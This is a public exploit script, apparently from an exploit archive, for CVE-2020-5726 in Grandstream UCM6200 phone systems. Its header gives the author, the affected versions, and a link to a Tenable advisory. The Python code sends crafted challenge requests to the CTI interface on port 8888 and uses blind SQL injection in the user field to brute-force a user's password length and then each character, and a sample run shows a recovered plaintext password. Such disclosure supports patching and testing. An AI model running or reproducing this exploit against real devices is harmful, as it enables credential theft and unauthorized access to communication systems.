# Exploit Title: Grandstream UCM6200 Series CTI Interface - 'user_password' SQL Injection
# Date: 2020-03-30
# Exploit Author: Jacob Baines
# Vendor Homepage: http://www.grandstream.com/
# Software Link: http://www.grandstream.com/support/firmware/ucm62xx-official-firmware
# Version: 1.0.20.20 and below
# Tested on: Grandstream UCM6202 1.0.20.20
# CVE : CVE-2020-5726
# Grandstream UCM6200 Series CTI Interface SQL Injection Password Disclosure
# Advisory: https://www.tenable.com/security/research/tra-2020-17
# Sample output:
#
# albinolobster@ubuntu:~$ python3 cti_injection.py --rhost 192.168.2.1
--user lolwat
# [+] Reaching out to 192.168.2.1:8888
# [+] Password length 9
# [+] The password is LabPass1%
import sys
import time
import json
import struct
import socket
import argparse
def send_cti_with_length(sock, payload):
to_send = struct.pack('>I', len(payload))
to_send = to_send + payload
sock.sendall(to_send)
return recv_cti_with_length(sock)
def recv_cti_with_length(sock):
length = sock.recv(4)
length = struct.unpack('>I', length)[0]
response = sock.recv(length)
return response
top_parser = argparse.ArgumentParser(description='')
top_parser.add_argument('--rhost', action="store", dest="rhost",
required=True, help="The remote host to connect to")
top_parser.add_argument('--rport', action="store", dest="rport", type=int,
help="The remote port to connect to", default=8888)
top_parser.add_argument('--user', action="store", dest="user",
required=True, help="The user to brute force")
args = top_parser.parse_args()
print('[+] Reaching out to ' + args.rhost + ':' + str(args.rport))
length = 0
while length < 100:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((args.rhost, args.rport))
challenge_resp = send_cti_with_length(sock, b"action=challenge&user=" +
args.user.encode('utf-8') + b"' AND LENGTH(user_password)=" +
str(length).encode('utf-8') + b"--")
inject_result = json.loads(challenge_resp)
if (inject_result['status'] == 0):
break
else:
length = length + 1
sock.close()
if length == 100:
print('[-] Failed to discover the password length')
sys.exit(1)
print('[+] Password length', length)
password = ''
while len(password) < length:
value = 0x20
while value < 0x80:
if value == 0x22 or value == 0x5c:
temp_pass = password + '\\'
temp_pass = temp_pass + chr(value)
else:
temp_pass = password + chr(value)
temp_pass_len = len(temp_pass)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((args.rhost, args.rport))
challenge_resp = send_cti_with_length(sock,
b"action=challenge&user=" + args.user.encode('utf-8') + b"' AND
user_password LIKE \'" + temp_pass.encode('utf-8') + b"%' AND
substr(user_password,1," + str(temp_pass_len).encode('utf-8') + b") = '" +
temp_pass.encode('utf-8') + b"'--")
inject_result = json.loads(challenge_resp)
sock.close()
if (inject_result['status'] == 0):
password = temp_pass
break
else:
value = value + 1
continue
if value == 0x80:
print('oh no.')
sys.exit(0)
print('[+] The password is', password)